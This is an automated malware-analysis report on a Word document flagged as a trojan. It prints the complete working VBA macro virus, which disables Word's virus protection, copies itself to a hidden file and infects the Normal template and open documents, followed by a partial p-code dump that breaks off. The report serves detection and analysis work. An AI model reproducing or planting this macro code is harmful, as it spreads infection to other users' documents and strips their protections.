Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 98024c31d07ead50…

MALICIOUS

Office (OLE)

38.5 KB Created: 2000-11-14 18:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cfb34fe77ade09abfbafe95eb473efcd SHA-1: 32fdd63f5850c62bbb205a0369683d08496d9eea SHA-256: 98024c31d07ead5012bc111a4dd007a27179bc26dab042493abc392e691f81f8
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros that, upon execution, copy their own code to 'c:\ethan.___' and then attempt to execute it. This behavior is indicative of a downloader or dropper mechanism. The ClamAV detection of 'Win.Trojan.Pivis-2' and 'Win.Trojan.C-286' further supports a malicious classification.

Heuristics 2

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7310 bytes
SHA-256: 6c8c045c7536a39192c05b4f29415f280dda93b294448cff4a8cec5267c7a6dc
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options
 .ConfirmConversions = False
 .VirusProtection = False
 .SaveNormalPrompt = False
End With
'----------------------------------------------------------------------------------------------
Randomize
'----------------------------------------------------------------------------------------------
If Dir("c:\ethan.___", 6) = "" Then
 Open "c:\ethan.___" For Output As #1
 For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
  Print #1, a
 Next i
 Close #1
 SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
 Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
 Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
 t = ""
End If
If t <> "" Then
 Open "c:\ethan.___" For Input As #1
 If LOF(1) = 0 Then
  GoTo q
 End If
 i = 1
 Do While Not EOF(1)
  Line Input #1, a
  t.CodeModule.InsertLines i, a
  i = i + 1
 Loop
End If
q:
Close #1
'----------------------------------------------------------------------------------------------
If Rnd < 0.3 Then
 With Dialogs(wdDialogFileSummaryInfo)
  .Title = "Ethan Frome"
  .Author = "EW/LN/CB"
  .Keywords = "Ethan"
  .Execute
 End With
End If
'----------------------------------------------------------------------------------------------
If Left(ActiveDocument.Name, 8) <> "Document" Then
 ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then
 ActiveDocument.Saved = s
End If

End Sub

' Processing file: /opt/analyzer/scan_staging/66593193772c4b8e9244a2d1e0cc95f6.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8551 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #3:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #4:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #5:
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' Line #6:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #7:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' Line #8:
' 	EndWith 
' Line #9:
' 	QuoteRem 0x0000 0x005E "----------------------------------------------------------------------------------------------"
' Line #10:
' 	ArgsCall Read 0x0000 
' Line #11:
' 	QuoteRem 0x0000 0x005E "----------------------------------------------------------------------------------------------"
' Line #12:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #13:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #14:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #15:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #16:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #17:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #18:
' 	LitDI2 0x0001 
' 	Sharp 
' 	
... (truncated)

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